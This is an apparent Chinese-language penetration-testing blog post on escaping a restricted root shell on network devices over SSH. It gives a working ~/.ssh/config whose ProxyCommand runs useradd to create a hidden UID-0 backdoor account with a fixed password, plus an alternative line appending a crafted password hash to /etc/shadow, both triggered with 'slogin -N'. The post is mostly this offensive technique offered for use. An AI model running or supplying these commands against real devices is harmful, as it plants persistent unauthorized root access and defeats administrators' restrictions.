在实际渗透场景中,有很多网络设备我们拿到了root权限后ssh登陆发现有命令执行限制,这是因为ssh接口提供了一个特殊的受限制的命令外壳程序,类似busybox的感觉,他可以允许root用户对设备进行配置处理,但是不允许进行命令交互,所以相当于我们拿到的只是一个鸡肋的root用户,为了突破这种限制,我们有特别的姿势
因为开放了ssh服务,所以我们可以使用scp,但是scp是无法创建目录的,所以我们想到的第一个办法是到用户目录的.ssh下,上传公钥,然后登陆到系统无需密码,事实证明可以成功登陆,但是登陆的用户的shell默认还是在这个受限的外壳下,命令交互依旧不成功
那如何逃逸这种限制?比较好玩儿,
ssh给我们提供了一个可以按照配置预期执行命令的功能,在
$HOME/.ssh/ config中进行配置,我们可以达到这样的效果
我们在配置文件中预期执行添加一个新的root用户,UID为0且无限制执行命令,以此来逃逸网络设备的限制问题
config内容如下:
1
2 3 4 5 6 7 |
host ztzsb #随便写一个host名称
hostname ip #填写当前ip user root #填写当前受限用户 #ProxyCommand /bin/bash %h %p ProxyCommand useradd -p `openssl passwd -1 -salt 'mujj' redrain` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/redrain redrain #或者echo一个到/etc/shadow #ProxyCommand echo "redrain:$1$mujj$NIovcyWTUzr76qHvsju0v.:10000:0:99999:7:::" >> /etc/shadow |
此时,当我们使用内置的slogin就会触发这个配置
只需要scp吧这个配置文件传到我们刚才受限的用户目录的.ssh/下,登陆这个受限用户后执行
slogin -N ztzsb
就会执行配置中的命令~